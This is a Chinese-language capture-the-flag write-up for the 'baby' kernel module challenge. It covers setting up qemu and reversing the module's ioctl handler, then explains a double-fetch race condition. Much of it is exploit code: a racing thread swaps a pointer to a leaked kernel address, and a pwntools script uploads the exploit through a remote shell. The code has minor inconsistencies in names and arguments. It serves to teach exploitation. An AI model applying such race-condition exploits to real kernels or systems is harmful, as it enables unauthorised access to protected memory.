只给了baby.ko和加载的文件系统core.cpio,没有内核和启动脚本,所以需要下载和配置。
1.下载内核配置环境:
(1)IDA打开baby.ko查看十六进制的汇编可以看到调用的Linux版本,可以下载源码编译或者直接下载编译好的。
(2)解压得到压缩内核:
1 2 3 4 5
|
apt search linux-image-[version] apt download xxxx ar -x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb
|
在./data/boot中有vmlinuz-4.15.0-22-generic,不要再类似压缩为bzImage,可以直接用来启动qemu。
(3)配置文件系统和启动脚本:
①文件系统:用busybox制作的,find ./* | cpio -H newc -o > rootfs.cpio
②启动脚本和配置文件:
1 2 3 4 5 6 7 8 9 10 11
| #! /bin/sh qemu-system-x86_64 \ -m 256M -smp 4,cores=2,threads=2 \ -kernel ./vmlinux \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokalsr" \ -cpu qemu64 \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
2.开始解析baby.ko
(1)两个实际命令,在baby_ioctl函数中:
①0x6666命令可以得到flag在内核空间的地址
②0x1337命令会触发三个检查,如果检查成功则可以打印出flag
(2)漏洞点:
漏洞在检查上,三个检查是检查通过ioctl传入的数据rdx。
▲_chk_range_not_ok函数:将第一个参数rdi和第二个参数rsi相加,判断是否小于第三个参数rdx,如果大于等于将al置为1(al即rax的低8位寄存器),如果小于则返回0,而如果要进入该if,则需要返回值为0,则需rdi+rsi < rdx。
①检查一:_chk_range_not_ok(v2, 16LL, (__readgsqword(¤t_task) + 4952)其中的(__readgsqword(¤t_task) + 4952)其实是用户空间的起始地址:
即传入数据的地址加上16需要小于0x7ffffffff000,而小于0x7ffffffff000则表示处在用户空间中:
那么就是检查传入的数据的地址是否位于用户空间。
②检查二即将传入的数据作为一个结构体,检查该结构体中flag指针对应的数据的地址加上flag的长度是否位于用户空间。
③检查三即检查flag的长度是否和程序中硬编码的长度相等。
▲由于传入的结构体是由我们控制的,且过程中依据该结构体来索引flag,其中的flag指针我们也可以改变,所以如果在检查结束之后,打印flag之前,能够将flag指针指向内核空间真正的flag处,那么就能够通过:
1 2 3 4 5 6 7
| #注释头
for ( i = 0; i < strlen(flag); ++i ) { if ( *(*v5 + i) != flag[i] ) return 22LL; }
|
从而打印内核空间真正的flag了。而这个内核空间flag的地址可以通过命令0x6666得到,这样就类似于利用了一个条件竞争的漏洞。
3.编写exp
(1)首先是结构体:
1 2 3 4 5 6 7
| #注释头
struct MyflagStruc { char *flag; size_t len; };
|
(2)接着打开dev获取地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #注释头
int fd = open("/dev/baby",O_RDONLY); ioctl(fd,0x6666);
system("dmesg > /tmp/record.txt"); allInfo_fd= open("/tmp/record.txt",O_RDONLY); lseek(allInfo_fd,-0x1000,SEEK_END); read(allInfo_fd,buf,0x1000); close(allInfo_fd); idx = strstr(buf,"Your flag is at "); if (idx == 0){ printf("[-]Not found addr"); exit(-1); } else{ idx += 16; kernelFlag_addr = strtoull(idx,idx+16,16); printf("[+]kernelFlag_addr: %p\n",kernelFlag_addr); }
|
①关于dmesg,这个命令是获取从启动虚拟机开始的几乎所有的输出信息,所以如果我们打开baby这个dev,就能够得到里面printk函数的相关输出,然后把输出重定向到/tmp/record.txt这里面,再从record.txt中获取地址。同时由于是所有的输出信息,所以返回给我们的flag地址肯定是在最后面的,所以lseek(allInfo_fd,-0x1000,SEEK_END);从最后面往前获取0x1000个字节,然后再来用strstr获取子字符串索引,最后strtoull转换地址得到内核中flag的地址。
(3)然后创建线程,爆破修改数据中flag指向的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #注释头
MyflagStruc myflag; myflag.len = 33; myflag.flag = buf; pthread_create(&myflag, NULL, change_attr_value,&myflag); for(int i = 0; i < 0x1000; i ++){ ret = ioctl(fd, 0x1337, &myflag); myflag.flag = buf; } finish = 1; pthread_join(myflag, NULL); close(fd); puts("[+]result is :"); system("dmesg | grep flag");
|
线程方面这涉及回调函数相关知识,自己补吧。
(4)线程回调函数:修改flag指向内核的flag,从而能够通过逐字节验证
1 2 3 4 5 6 7
| #注释头
void changeFlagAddr(void *myflag){ while(finish==0){ myflag->flag = kernelFlag_addr ; } }
|
4.一些注意事项:
(1)头文件的注意事项,和写小程序一样,自己加。
(2)线程注意事项:gcc编译时需要加上-lpthread参数,并且要静态编译。
(3)输入输出重定向:我看很多exp都有关闭输入输出流的,但是我尝试了一下,不用关其实也可以,可能是对应的环境关系吧。
1 2 3 4 5
| #注释头
setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0);
|
(4)文件传输模块:
先转发一下启动程序:
1 2 3
| #注释头
socat tcp-listen:30000,fork exec:./boot.sh,reuseaddr
|
可以用下列脚本,这个脚本参照这位师傅的:
https://blog.csdn.net/seaaseesa/article/details/104537991
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #注释头
# coding:utf8 from pwn import * import base64 sh = remote('127.0.0.1',30000) #exploit f = open('./exp','rb') content = f.read() total = len(content) f.close()
# segment send per_length = 0x200; # touch file sh.sendlineafter('$ ','touch /tmp/exploit')
log.info("Total length:%d"%total) for i in range(0,total,per_length): bstr = base64.b64encode(content[i:i+per_length]) sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr)) print(i) if total - i > 0: bstr = base64.b64encode(content[total-i:total]) sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr)) sh.sendlineafter('$ ','chmod +x /tmp/exploit') sh.sendlineafter('$ ','/tmp/exploit') sh.interactive()
|
(5)调试模块:
关于文件系统的选择方面,用精简版的Busybox开出来的qemu调试的时候获取加载模块的基地址总是出错,暂时不知道为什么后面补。
但是可以用2018强网杯core的文件系统,加载之后调试的基地址没问题,这个在ctfwiki上有。